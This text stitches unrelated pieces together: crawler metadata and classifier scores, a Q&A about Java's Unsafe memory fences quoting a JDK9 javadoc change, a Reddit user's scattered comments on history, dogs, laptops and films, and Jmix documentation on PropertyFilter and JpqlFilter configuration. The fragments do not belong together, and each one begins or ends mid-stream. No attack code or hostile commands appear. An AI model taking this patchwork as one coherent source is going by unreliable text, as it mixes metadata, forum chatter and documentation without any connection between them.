"rps_doc_books_importance_length_correction": -435.12725830078125,
"rps_doc_openwebtext_importance": -262.04058837890625,
"rps_doc_openwebtext_importance_length_correction": -262.04058837890625,
"rps_doc_wikipedia_importance": -227.43130493164062,
"rps_doc_wikipedia_importance_length_correction": -227.43130493164062
},
"fasttext": {
"dclm": 0.8958054184913635,
"english": 0.7851147055625916,
"fineweb_edu_approx": 1.6288527250289917,
"eai_general_math": 0.06121319904923439,
"eai_open_web_math": 0.09918612241744995,
"eai_web_code": 0.14201802015304565
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,473,530,067,136,930,300 |
ntysdd ntysdd - 1 year ago 103
Java Question
Java Unsafe.storeFence() documentation wrong?
Java 8 has added three fences to
sun.misc.Unsafe
.
I feel confused after I read their documentation.
So, I searched the web, and found this link.
According to the page above, I believe these methods add almost nothing in practice. Correct me if I'm wrong, roughly speaking, loadFence(), storeFence() and fullFence() correspond to volatile read, lazy write and volatile write respectively, although technically these fences are stronger than volatile variables. So loadFence() is an acquire fence, and storeFence() is a release fence, and fullFence() is full fence.
But then the documentation for storeFence() looks strange.
It says,
/**
* Ensures lack of reordering of stores before the fence
* with loads or stores after the fence.
*/
void storeFence();
That doesn't look like a release fence. How is it supposed to be used? Shouldn't it be
/**
* Ensures lack of reordering of loads or stores before the fence
* with stores after the fence.
*/
void storeFence();
I assume before means earlier and after means later.
EDIT
I don't mean "we don't use them in usual development" when I say these "fences add nothing in practice".
I mean, even without these methods in Unsafe, we can get these "fences". If I am correct, in practice, reading a dummy volatile has the effect of loadFence(), and writing a dummy volatile has the effect of fullFence(), and unsafe.putOrderedXXX() (or AtomicInteger.lazySet()) has the effect of storeFence().
They may have subtle difference, but in current implementation, they are exchangeable. (Seems implied by the link)
That is what I mean by "they add nothing new".
ANOTHER EDIT
This is already fixed.
See https://bugs.openjdk.java.net/browse/JDK-8038978
Thanks @john-vint
Answer Source
There is actually a diff for this in JDK9. There were similar questions that were asked and clarified:
http://hg.openjdk.java.net/jdk9/jdk9/jdk/rev/84e19392365e
/**
! * Ensures that loads before the fence will not be reordered with loads and
! * stores after the fence; a "LoadLoad plus LoadStore barrier".
! *
! * Corresponds to C11 atomic_thread_fence(memory_order_acquire)
! * (an "acquire fence").
! *
! * A pure LoadLoad fence is not provided, since the addition of LoadStore
! * is almost always desired, and most current hardware instructions that
! * provide a LoadLoad barrier also provide a LoadStore barrier for free.
* @since 1.8
*/
public native void loadFence();
/**
! * Ensures that loads and stores before the fence will not be reordered with
! * stores after the fence; a "StoreStore plus LoadStore barrier".
! *
! * Corresponds to C11 atomic_thread_fence(memory_order_release)
! * (a "release fence").
! *
! * A pure StoreStore fence is not provided, since the addition of LoadStore
! * is almost always desired, and most current hardware instructions that
! * provide a StoreStore barrier also provide a LoadStore barrier for free.
* @since 1.8
*/
public native void storeFence();
/**
! * Ensures that loads and stores before the fence will not be reordered
! * with loads and stores after the fence. Implies the effects of both
! * loadFence() and storeFence(), and in addition, the effect of a StoreLoad
! * barrier.
! *
! * Corresponds to C11 atomic_thread_fence(memory_order_seq_cst).
* @since 1.8
*/
public native void fullFence();
|
{
"url": "https://codedump.io/share/otwMHkNaMgPl/1/java-unsafestorefence-documentation-wrong",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2017-34",
"warc_metadata": {
"Content-Length": "42031",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KX6F3TAQ4QLO6B3FZP2CADQDJAJZNG7D",
"WARC-Concurrent-To": "<urn:uuid:a20a8126-1eb3-47ca-8de5-ba3095123b3e>",
"WARC-Date": "2017-08-21T22:38:42Z",
"WARC-IP-Address": "84.22.103.185",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LHO7RQRCBGWM35XWM6FBNA2PX6LCHS2Y",
"WARC-Record-ID": "<urn:uuid:8df7ad17-76c4-4659-aeee-0d0a003f351d>",
"WARC-Target-URI": "https://codedump.io/share/otwMHkNaMgPl/1/java-unsafestorefence-documentation-wrong",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b04a905a-88ef-4ffb-ba0b-06b68ff73850>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-166-28-40.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
31,
45,
46,
92,
93,
126,
127,
143,
145,
146,
196,
197,
242,
243,
662,
663,
722,
723,
732,
733,
737,
793,
833,
836,
855,
856,
857,
944,
945,
949,
1014,
1045,
1048,
1067,
1068,
1069,
1122,
1123,
1128,
1129,
1234,
1235,
1542,
1543,
1658,
1659,
1706,
1707,
1720,
1721,
1744,
1745,
1798,
1799,
1817,
1818,
1832,
1833,
1936,
1937,
1995,
1996,
2006,
2088,
2158,
2167,
2237,
2268,
2277,
2357,
2436,
2515,
2535,
2545,
2583,
2584,
2594,
2677,
2749,
2758,
2828,
2858,
2867,
2949,
3028,
3109,
3129,
3139,
3178,
3179,
3189,
3267,
3344,
3426,
3444,
3453,
3524,
3544,
3554
],
"line_end_idx": [
31,
45,
46,
92,
93,
126,
127,
143,
145,
146,
196,
197,
242,
243,
662,
663,
722,
723,
732,
733,
737,
793,
833,
836,
855,
856,
857,
944,
945,
949,
1014,
1045,
1048,
1067,
1068,
1069,
1122,
1123,
1128,
1129,
1234,
1235,
1542,
1543,
1658,
1659,
1706,
1707,
1720,
1721,
1744,
1745,
1798,
1799,
1817,
1818,
1832,
1833,
1936,
1937,
1995,
1996,
2006,
2088,
2158,
2167,
2237,
2268,
2277,
2357,
2436,
2515,
2535,
2545,
2583,
2584,
2594,
2677,
2749,
2758,
2828,
2858,
2867,
2949,
3028,
3109,
3129,
3139,
3178,
3179,
3189,
3267,
3344,
3426,
3444,
3453,
3524,
3544,
3554,
3591
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3591,
"ccnet_original_nlines": 99,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3095577657222748,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029957199469208717,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2867332398891449,
"rps_doc_frac_unique_words": 0.3878406584262848,
"rps_doc_mean_word_length": 5.358490467071533,
"rps_doc_num_sentences": 58,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.797616004943848,
"rps_doc_word_count": 477,
"rps_doc_frac_chars_dupe_10grams": 0.22143974900245667,
"rps_doc_frac_chars_dupe_5grams": 0.3528951406478882,
"rps_doc_frac_chars_dupe_6grams": 0.2973395884037018,
"rps_doc_frac_chars_dupe_7grams": 0.24334898591041565,
"rps_doc_frac_chars_dupe_8grams": 0.22143974900245667,
"rps_doc_frac_chars_dupe_9grams": 0.22143974900245667,
"rps_doc_frac_chars_top_2gram": 0.03129889816045761,
"rps_doc_frac_chars_top_3gram": 0.027386540547013283,
"rps_doc_frac_chars_top_4gram": 0.03716744855046272,
"rps_doc_books_importance": -386.49169921875,
"rps_doc_books_importance_length_correction": -386.49169921875,
"rps_doc_openwebtext_importance": -218.62091064453125,
"rps_doc_openwebtext_importance_length_correction": -218.62091064453125,
"rps_doc_wikipedia_importance": -133.04591369628906,
"rps_doc_wikipedia_importance_length_correction": -133.04591369628906
},
"fasttext": {
"dclm": 0.21415209770202637,
"english": 0.9029622077941895,
"fineweb_edu_approx": 1.0788301229476929,
"eai_general_math": 0.9022513031959534,
"eai_open_web_math": 0.6957910656929016,
"eai_web_code": 0.9713745713233948
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,461,809,572,867,361,000 |
reddit is a platform for internet communities
where your votes shape what the world is talking about.
learn more ›
I am a criminal sentenced to exile in Australia in the year 1800. After disembarking from the transport ship, what can I expect my life to be like? by pjtpkoein AskHistorians
[–]Atticus83 24 points25 points ago
I would highly recommend The Fatal Shore, by Robert Hughes. It's a horrifically detailed book.
Playing Doom and Wasteland on the 386 in 1994 by __shadowin OldSchoolCool
[–]Atticus83 0 points1 point ago
You are me.
Advice on getting my dog to quiet down. by Atticus83in dogs
[–]Atticus83[S] 0 points1 point ago
We usually do 20m in the morning, 25-30m at lunch, 15m before dinner, then a pee before bed. It would be interesting to try doing fewer longer walks, but it's tough because his bladder is pretty small.
He has definitely taken on the guard dog job without even asking us. Unfortunately we don't have much else for him to do, which is hard.
Advice on getting my dog to quiet down. by Atticus83in dogs
[–]Atticus83[S] 0 points1 point ago
We take him on at least 3-4 walks a day which ends up being about an hour of walking. That's all on leash. On the weekends we'll do an off leash walk of about an hour or so once or twice. So he is fairly well exercised, though he could definitely have more off leash time, we just can't do it much since he tends to run away unless he's in certain places.
I've illustrated the size of our sun compared to the largest known star UY Scuti by shixxorin space
[–]Atticus83 15 points16 points ago
How about overlaying the orbits of the planets in our solar system? That would be pretty neat to see here.
P.S. Thanks for going to the trouble of producing this in the first place, I enjoyed it ;)
Apollo 1 fire, 47 years ago today. Their sacrifice made getting to the moon a reality. by bhambyin spaceflight
[–]Atticus83 3 points4 points ago
It is amazing how much wiring and protocols and stuff was fixed as a result of this fire, and scary to think what might have happened to the men in space if this fire hadn't happened.
Open-world, story driven MMO with a solid sense of accomplishment/progression. by TheDynamisin MMORPG
[–]Atticus83 0 points1 point ago
I know you said you prefer newer, but since you've played pretty much everything already I'll just mention an older game that isn't on your list: Asheron's Call. It has a huge wide-open world, years worth of interesting content, and a really interesting and unique skill system.
Binoculars or telescope for beginner? by ConcernedCitisenin Astronomy
[–]Atticus83 3 points4 points ago
Here's a trick that might help you with your tripod. Hang a heavy weight from the center, it will act to stabilize and weigh down the tripod.
Grand Piano Official Trailer #1 (2013) - Elijah Wood Thriller by tombahin movies
[–]Atticus83 2 points3 points ago
This looks silly.
I live on a small Scottish Island, we don't have a cinema, but twice a year the cinema comes to us. Do any other countries have a screen machine? by cryojeansin movies
[–]Atticus83 0 points1 point ago
This is neat! I stayed on the island of Coll this summer and saw this truck as I was leaving on the ferry. BTW Coll is a fantastic place!
Lenovo W530 [AMA] by Atticus83in laptopama
[–]Atticus83[S] 0 points1 point ago
I don't have a T model to test against but in general it is quite sturdy feeling. The only thing I don't like is the battery (I have the 9 cell I believe) sticks out and doesn't feel 100% secure. There is a bit of give there. Other than that it feels like a tank.
What is the state of switchable laptop graphics on linux? Working? Not working? Semi-working? by cyro_666in linux
[–]Atticus83 0 points1 point ago
I have a Lenovo W530 which has an Intel HD 4000 and Quaddro K2000M. The main problem I have is with external monitors. The VGA and mini display ports are wired to the NVIDIA card, and it isn't currently possible to share an X display across my laptop's monitor with an external monitor if I'm running bumblebee/optimus (though it is doable on windows). I have to be using the NVIDIA card only if I want to do that. It isn't so bad, because I'm always plugged into the wall when I'm running dual monitors, but it means I have to fiddle around if I want to go to the integrated graphics on battery. I haven't gotten this to work smoothly yet, right now I just use the BIOS to force integrated graphics.
There's a new GNOME application that experienced its first release this morning: GNOME Logs. by itisOmegakaiin linux
[–]Atticus83 1 point2 points ago
Unfortunately I can't really test it since it requires gtk3 v3.9.6 and I'm still on 3.8.4 (Fedora 19). Maybe when I jump to Fedora 20.
Lenovo W530 [AMA] by Atticus83in laptopama
[–]Atticus83[S] 0 points1 point ago
The screen is nice and bright but the viewing angles could be better. An IPS panel would have been awesome.
I just weighed it on my kitchen scale and it is just about 6lbs exactly, though that is with the 9 cell battery.
Overall it is a great all-purpose laptop, though getting everything working well in Linux has been a challenge. I still haven't gotten sound to come out of the laptop's speakers (though external speakers work).
[MODPOST] A few changes to this subreddit by tom6561in laptopama
[–]Atticus83 1 point2 points ago
sorry, this has been archived and can no longer be voted on
I just looked into this and what you want to do is in your moderator box, go to subreddit settings. Then at the bottom in the look and feel box click "edit the stylesheet". That will give you a text area where you can paste:
a[href*="request"].title:link { color: green; }
That will alter any links that have "request" in the title to be green.
Redditors in a nutshell by thatawsumguyin funny
[–]Atticus83 1 point2 points ago
sorry, this has been archived and can no longer be voted on
Is there a simpsons comic reddit somewhere?
[MODPOST] A few changes to this subreddit by tom6561in laptopama
[–]Atticus83 1 point2 points ago
sorry, this has been archived and can no longer be voted on
Maybe you can change the CSS so that request links are a different color, like normal AMA requests?
[Request]Lenovo Thinkpad W530 by phausin laptopama
[–]Atticus83 1 point2 points ago
sorry, this has been archived and can no longer be voted on
I may be able to do one next week. My work ordered this for me and it'll be arriving soon.
Older Redditors (35+) who don't have kids. What is life like without them and do you have regrets? by Meatmehalfwayin AskReddit
[–]Atticus83 0 points1 point ago
sorry, this has been archived and can no longer be voted on
Are you sure IVF isn't covered by your insurance? If it isn't, it may be worth it to switch insurance plans to get one that is covered (depending on how important this is to you). My wife and I just did this after four years of trying various methods (3 failed IUIs) and we're now expecting (20 weeks soon).
Are there Actors/Actresses, in your opinion, whose entire career has been sustained by a single performance or project? Justifiably or not? by Irishanein movies
[–]Atticus83 6 points7 points ago
sorry, this has been archived and can no longer be voted on
Kirsten Dunst was in Interview with a Vampire, not Scarlett Johansson.
Are there Actors/Actresses, in your opinion, whose entire career has been sustained by a single performance or project? Justifiably or not? by Irishanein movies
[–]Atticus83 3 points4 points ago
sorry, this has been archived and can no longer be voted on
And Parenthood
|
{
"url": "http://www.reddit.com/user/Atticus83/",
"source_domain": "www.reddit.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "113491",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6IQWGBYGOL6ZJ4XVYOZHAQNFUAO6ZNZN",
"WARC-Concurrent-To": "<urn:uuid:b7d2437a-5b93-487b-b118-1ca297cb27de>",
"WARC-Date": "2014-03-16T13:48:24Z",
"WARC-IP-Address": "23.0.160.27",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:PJM3XAVTN7JJIASISRSPJD5J5BZPXJQO",
"WARC-Record-ID": "<urn:uuid:e2648cb6-8f89-43d3-83de-dd789b7dd1f5>",
"WARC-Target-URI": "http://www.reddit.com/user/Atticus83/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5119ef1e-2e75-45dc-85bb-ec9c9b95f8b6>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
46,
47,
103,
104,
117,
118,
293,
294,
330,
331,
426,
427,
501,
502,
535,
536,
548,
549,
609,
610,
646,
647,
849,
850,
987,
988,
1048,
1049,
1085,
1086,
1442,
1443,
1543,
1544,
1580,
1581,
1688,
1689,
1780,
1781,
1892,
1893,
1927,
1928,
2112,
2113,
2215,
2216,
2249,
2250,
2529,
2530,
2600,
2601,
2635,
2636,
2778,
2779,
2860,
2861,
2895,
2896,
2914,
2915,
3083,
3084,
3117,
3118,
3256,
3257,
3300,
3301,
3337,
3338,
3602,
3603,
3717,
3718,
3751,
3752,
4453,
4454,
4571,
4572,
4605,
4606,
4741,
4742,
4785,
4786,
4822,
4823,
4931,
4932,
5045,
5046,
5257,
5258,
5323,
5324,
5357,
5358,
5418,
5419,
5644,
5645,
5693,
5694,
5766,
5767,
5815,
5816,
5849,
5850,
5910,
5911,
5955,
5956,
6021,
6022,
6055,
6056,
6116,
6117,
6217,
6218,
6269,
6270,
6303,
6304,
6364,
6365,
6456,
6457,
6585,
6586,
6619,
6620,
6680,
6681,
6989,
6990,
7151,
7152,
7186,
7187,
7247,
7248,
7319,
7320,
7481,
7482,
7516,
7517,
7577,
7578
],
"line_end_idx": [
46,
47,
103,
104,
117,
118,
293,
294,
330,
331,
426,
427,
501,
502,
535,
536,
548,
549,
609,
610,
646,
647,
849,
850,
987,
988,
1048,
1049,
1085,
1086,
1442,
1443,
1543,
1544,
1580,
1581,
1688,
1689,
1780,
1781,
1892,
1893,
1927,
1928,
2112,
2113,
2215,
2216,
2249,
2250,
2529,
2530,
2600,
2601,
2635,
2636,
2778,
2779,
2860,
2861,
2895,
2896,
2914,
2915,
3083,
3084,
3117,
3118,
3256,
3257,
3300,
3301,
3337,
3338,
3602,
3603,
3717,
3718,
3751,
3752,
4453,
4454,
4571,
4572,
4605,
4606,
4741,
4742,
4785,
4786,
4822,
4823,
4931,
4932,
5045,
5046,
5257,
5258,
5323,
5324,
5357,
5358,
5418,
5419,
5644,
5645,
5693,
5694,
5766,
5767,
5815,
5816,
5849,
5850,
5910,
5911,
5955,
5956,
6021,
6022,
6055,
6056,
6116,
6117,
6217,
6218,
6269,
6270,
6303,
6304,
6364,
6365,
6456,
6457,
6585,
6586,
6619,
6620,
6680,
6681,
6989,
6990,
7151,
7152,
7186,
7187,
7247,
7248,
7319,
7320,
7481,
7482,
7516,
7517,
7577,
7578,
7592
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7592,
"ccnet_original_nlines": 156,
"rps_doc_curly_bracket": 0.0002634399861562997,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41743969917297363,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04143476113677025,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17254173755645752,
"rps_doc_frac_unique_words": 0.4098113179206848,
"rps_doc_mean_word_length": 4.465660572052002,
"rps_doc_num_sentences": 80,
"rps_doc_symbol_to_word_ratio": 0.0006184299709275365,
"rps_doc_unigram_entropy": 5.639087200164795,
"rps_doc_word_count": 1325,
"rps_doc_frac_chars_dupe_10grams": 0.19148217141628265,
"rps_doc_frac_chars_dupe_5grams": 0.22832515835762024,
"rps_doc_frac_chars_dupe_6grams": 0.20060841739177704,
"rps_doc_frac_chars_dupe_7grams": 0.19148217141628265,
"rps_doc_frac_chars_dupe_8grams": 0.19148217141628265,
"rps_doc_frac_chars_dupe_9grams": 0.19148217141628265,
"rps_doc_frac_chars_top_2gram": 0.01825249008834362,
"rps_doc_frac_chars_top_3gram": 0.01977352984249592,
"rps_doc_frac_chars_top_4gram": 0.024336660280823708,
"rps_doc_books_importance": -761.6087646484375,
"rps_doc_books_importance_length_correction": -761.6087646484375,
"rps_doc_openwebtext_importance": -412.06634521484375,
"rps_doc_openwebtext_importance_length_correction": -412.06634521484375,
"rps_doc_wikipedia_importance": -293.09503173828125,
"rps_doc_wikipedia_importance_length_correction": -293.09503173828125
},
"fasttext": {
"dclm": 0.05957043170928955,
"english": 0.9646958708763123,
"fineweb_edu_approx": 1.059532880783081,
"eai_general_math": 0.13364076614379883,
"eai_open_web_math": 0.17794126272201538,
"eai_web_code": 0.0012226100079715252
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02856",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "636.7",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Agriculture",
"level_3": "Domestic animals and Pets"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
9,154,708,734,935,612,000 |
Filter Components
Filter can use special filter components as conditions. Filter components should implement the FilterComponent interface.
There are three filter components available by default:
You can register your own filter component, see Filter Component Registration.
PropertyFilter
The PropertyFilter component can be used inside the Filter component and independently.
The example below demonstrates how to create a design-time configuration with PropertyFilter in the XML descriptor:
<data>
<collection id="customersDc" class="ui.ex1.entity.Customer">
<fetchPlan extends="_base">
<property fetchPlan="_base" name="city"/>
<property name="favouriteBrands" fetchPlan="_base"/>
</fetchPlan>
<loader id="customersDl">
<query>
<![CDATA[select e from uiex1_Customer e]]>
</query>
</loader>
</collection>
</data>
<layout spacing="true" expand="customersTable">
<filter dataLoader="customersDl"
id="filterPropertyFilter"
caption="PropertyFilter variations">
<properties include=".*"/>
<configurations>
<configuration id="propertyConfiguration"
default="true"
name="PropertyFilter">
<propertyFilter property="age"
operation="GREATER_OR_EQUAL"
operationEditable="true"/>
</configuration>
</configurations>
</filter>
</layout>
To add propertyFilter in Jmix Studio, select the Filter component in the screen descriptor XML or in the Component Hierarchy panel and click on the Add→Conditions→PropertyFilter button in the Component Inspector panel.
You can also create a design-time configuration in the screen controller class:
@Autowired
protected UiComponents uiComponents;
@Autowired
protected SingleFilterSupport singleFilterSupport;
@Autowired
protected Filter pfdtcFilter;
@Autowired
protected Filter jfdtcFilter;
@Autowired
protected JpqlFilterSupport jpqlFilterSupport;
@Autowired
protected Filter gfdtcFilter;
@Subscribe
protected void onInit(InitEvent event) {
DesignTimeConfiguration javaDefaultConfigurationPF =
pfdtcFilter.addConfiguration("javaDefaultConfiguration",
"Default configuration"); (1)
DataLoader dataLoaderPF = pfdtcFilter.getDataLoader();
PropertyFilter<City> cityPropertyFilter =
uiComponents.create(PropertyFilter.NAME); (2)
cityPropertyFilter.setConditionModificationDelegated(true);
cityPropertyFilter.setDataLoader(dataLoaderPF);
cityPropertyFilter.setProperty("city");
cityPropertyFilter.setOperation(PropertyFilter.Operation.EQUAL);
cityPropertyFilter.setOperationEditable(true);
cityPropertyFilter.setParameterName(PropertyConditionUtils.generateParameterName(
cityPropertyFilter.getProperty()));
cityPropertyFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderPF.getContainer().getEntityMetaClass(),
cityPropertyFilter.getProperty(),
cityPropertyFilter.getOperation())); (3)
javaDefaultConfigurationPF.getRootLogicalFilterComponent()
.add(cityPropertyFilter); (4)
PropertyFilter<Level> levelPropertyFilter =
uiComponents.create(PropertyFilter.NAME);
levelPropertyFilter.setConditionModificationDelegated(true);
levelPropertyFilter.setDataLoader(dataLoaderPF);
levelPropertyFilter.setProperty("level");
levelPropertyFilter.setOperation(PropertyFilter.Operation.EQUAL);
levelPropertyFilter.setOperationEditable(true);
levelPropertyFilter.setParameterName(PropertyConditionUtils.generateParameterName(
levelPropertyFilter.getProperty()));
levelPropertyFilter.setValueComponent(singleFilterSupport.generateValueComponent(
dataLoaderPF.getContainer().getEntityMetaClass(),
levelPropertyFilter.getProperty(),
levelPropertyFilter.getOperation()
));
javaDefaultConfigurationPF.getRootLogicalFilterComponent().add(levelPropertyFilter);
pfdtcFilter.setCurrentConfiguration(javaDefaultConfigurationPF); (5)
}
1 Adds a design-time configuration with the javaDefaultConfiguration id and the Default configuration name.
2 Creates the PropertyFilter component and sets its properties.
3 Generates the filter value component by the given metaClass, entity property and operation.
4 Adds the created property filter to the javaDefaultConfiguration configuration.
5 Sets the javaDefaultConfiguration configuration as current.
See the additional information in PropertyFilter.
JpqlFilter
JpqlFilter is a UI component used for filtering entities returned by the DataLoader. The component contains JPQL expressions that will be added to the from and where data loader query sections. The component can automatically render the proper layout for setting a condition value. A JpqlFilter layout contains a label with a caption and a field for editing a condition value in the general case. The component can be used only inside the Filter component.
The example below demonstrates how to create a design-time configuration with a JpqlFilter:
<window xmlns="http://jmix.io/schema/ui/window"
caption="msg://filterScreen.caption"
xmlns:c="http://jmix.io/schema/ui/jpql-condition"> (1)
<data>
<collection id="customersDc" class="ui.ex1.entity.Customer">
<fetchPlan extends="_base">
<property fetchPlan="_base" name="city"/>
<property name="favouriteBrands" fetchPlan="_base"/>
</fetchPlan>
<loader id="customersDl">
<query>
<![CDATA[select e from uiex1_Customer e]]>
</query>
</loader>
</collection>
</data>
<layout spacing="true" expand="customersTable">
<filter id="filterJpqlFilter"
dataLoader="customersDl"
caption="JpqlFilter variations">
<properties include=".*"/>
<configurations>
<configuration id="jpqlConfiguration"
default="true"
name="JpqlFilter">
<jpqlFilter caption="Name like"
parameterClass="java.lang.String">
<condition>
<c:jpql>
<c:where>{E}.firstName like ?</c:where> (2)
</c:jpql>
</condition>
</jpqlFilter>
</configuration>
</configurations>
</filter>
</layout>
</window>
1 You should add the JPQL conditions namespace.
2 Define a JPQL condition with optional join element and mandatory where element.
To configure JPQL conditions, define the condition element inside jpqlFilter with optional join element and mandatory where element. In the example below, we create jpqlFilter with the join and where elements:
<filter id="filterJpqlFilter"
dataLoader="customersDl"
caption="JpqlFilter variations">
<properties include=".*"/>
<configurations>
<configuration id="jpqlConfigurationWithJoin"
name="JpqlFilter with Join">
<jpqlFilter caption="Customers with brand"
parameterClass="ui.ex1.entity.Brand">
<condition>
<c:jpql>
<c:join>join {E}.favouriteBrands i</c:join>
<c:where>i.id = ?</c:where>
</c:jpql>
</condition>
</jpqlFilter>
</configuration>
</configurations>
</filter>
jpqlFilter attributes inside the filter component:
• You can set the condition name displayed in filter, using the caption attribute.
• You can use the defaultValue attribute to set the default value for the filter condition.
• The hasInExpression attribute should be set to true if the JPQL expression contains in (?) conditions. In this case, the application will use the ValuesPicker component. So the user will be able to enter several condition parameter values.
